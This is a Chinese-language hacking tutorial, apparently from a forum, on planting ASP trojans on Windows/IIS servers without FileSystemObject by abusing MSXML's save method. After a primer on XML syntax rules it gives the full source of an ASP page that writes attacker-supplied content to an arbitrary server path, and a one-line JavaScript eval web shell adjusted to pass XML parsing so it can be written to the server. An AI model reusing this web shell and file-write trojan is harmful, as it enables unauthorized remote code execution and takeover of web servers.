|
文章来源:VIP文章区
这几天一直在学XML,忽然看到了xmlDoc中有一个.SAVE方法,我们就可以在没有FSO的机子上写ASP木马了。 FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,不过好多的个人服务器都不支持或改名了,我们只可以望而生悲了。 首先了解一下XML需要的系统是WINDOWS2000以上,也就是说我们不必在系统上安装XMLparser解析也可以支持XML了。我们狂笑吧,在也不怕服务器上的FSO被改名了。 首先我们介绍一下HTML与XML代码的规范化 1.所有的XML文档必须有一个结束标记 在XML文档中,忽略结束标记是不符合规定的。 在HTML文档中,一些元素可以是没有结束标记的。下面的代码在HTML中是完全合法的: <p>HolleFLASHBOY <p>www.xflashboy.com 但是在XML文档中必须要有结束标记,像下面的例子一样: <p>HolleFLASHBOY</p> <p>www.xflashboy.com</p> 2.XML标记都是大小写敏感的 这与HTML不一样,XML标记是大小写敏感的。 在XML中,标记<Letter>与标记<letter>是两个不同的标记。 因此在XML文档中开始标记和结束标记的大小写必须保持一致。 <Message>Thisisincorrect</message>//错误的 <message>Thisiscorrect</message>//正确的 3.所有的XML元素必须合理包含 在XML中不允许不正确的嵌套包含。 在HTML中,允许有一些不正确的包含,例如下面的代码可以被浏览器解析: <b><i>Thistextisboldanditalic</b></i> 在XML中所有元素必须正确的嵌套包含,上面的代码应该这样写: <b><i>Thistextisboldanditalic</i></b> 4.所有的XML文档必须有一个根元素 XML文档中的第一个元素就是根元素。 所有XML文档都必须包含一个单独的标记来定义,所有其他元素的都必须成对的在根元素中嵌套。XML文档有且只能有一个根元素。 所有的元素都可以有子元素,子元素必须正确的嵌套在父元素中。 下面的代码可以形象的说明: <root> <child> <subchild>.....</subchild> </child> </root> 5.属性值必须使用引号"" 在XML中,元素的属性值没有引号引着是不符合规定的。
如同HTML一样,XML元素同样也可以拥有属性。XML元素的属性以名字/值成对的出现。XML语法规范要求XML元素属性值必须用引号引着。请看下面的两个例子,第一个是错误的,第二个是正确的。 <?xmlversion="1.0"encoding="ISO-8859-1"?> <notedate=12/11/99> <to>Lin</to> <from>Ordm</from> <heading>Reminder</heading> <body>Don'tforgetmethisweekend!</body> </note>
<?xmlversion="1.0"encoding="ISO-8859-1"?> <notedate="12/11/99"> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don'tforgetmethisweekend!</body> </note> 第一个文档的错误之处是属性值没有用引号引着。 正确的写法是:date="12/11/99".不正确的写法:date=12/11/99. 这几个是XML中的重点,如果不按照这样的话XML是不会创建文件的。 6.数据中不能含有"<"">"“&”符号 在代码中可以使用"<"与">"代替"<"">"符号
这们来详细了解一下这几个方法吧 xmlDoc.loadXml(xmlString)这是用XML的LOAD方法来加载一段XMLDOCUMENT到对象中,这里加载的是"xmlString" 注意:在这一个字符串中一定要满足XML语言的要求(在文章前面已经写过),如果不按照的话只能创建一个空的文件,有些读者写入不成功就是因为这一个原因。 xmlDoc.save(server.mappath("test.htm"))这是把上一句的内容写入"test.htm"这一个文件。 XMLname.save(response)这种方法中,MSXML作为一个ISTEAM接口,save方法使得MSXML在Response对象中查找MSXML的流接口,然后便用这个接口,将文档直接送到请求用户的流中。 server.mappath是按照相对路径写入,如果要用绝对路径就用xmlDoc.save("test.htm")
现在我们看一下木马的源程序 <%onerrorresumenext%> <formid="form1"name="form1"method="post"action=''''> //创建一个提交表单 <p>木马内容</p> <p><textareaname="flashboy"cols="80"rows="10"></textarea></p> //创建一个文本框 <p>路径</p> <p><inputname="textfield"type="text"size="50"/></p> <p><inputtype="submit"name="Submit"value="提交"/></p></form> <p><%Response.write"本文件绝对路径"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p> //获取本文件的绝对路径 <% dimxmlString //创建xmlString,默认为字符串 dimxmlDoc //创建xmlDoc xmlString=Request("flashboy") //取得文本框中的数据 setxmlDoc=server.createObject("Msxml2.DOMDocument") //定义xmlDoc属于Msxml2.DOMDocument xmlDoc.loadXml(xmlString) //加载xmlString到对象中 f=Request("textfield") //取出输入的文件路径 xmlDoc.save(f) //保存xmlDoc.loadXml到输入的文件路径中 setxmlDoc=nothing //清空xmlDoc %>
测试木马 我们就用冰狐浪子微型ASP后门2.0来测试一下吧 我们看看源码 <SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT> 是不是不符合我们刚刚说的XML规范? 我们来动手改一下吧 RUNAT=SERVERLANGUAGE=JAVASCRIPT这两个属性值没有引号引着,我们打他改成 RUNAT="SERVER"LANGUAGE="JAVASCRIPT" 整个ASP木马就成了 <SCRIPTRUNAT="SERVER"LANGUAGE="JAVASCRIPT">try{eval(Request.form('#')+'')}catch(e){}</SCRIPT> 现在可以把他写入服务器了。
顺便说一下,如果要写入任意的字符串,如FLASHBOY,直接写是写不进去的,因为XML是须要节点的,可以这样写<a>FLASHBOY</a><b>FLASHBOY</b><c>FLASHBOY</c>
本文在WIN2000+IIS5.0测试通过.
|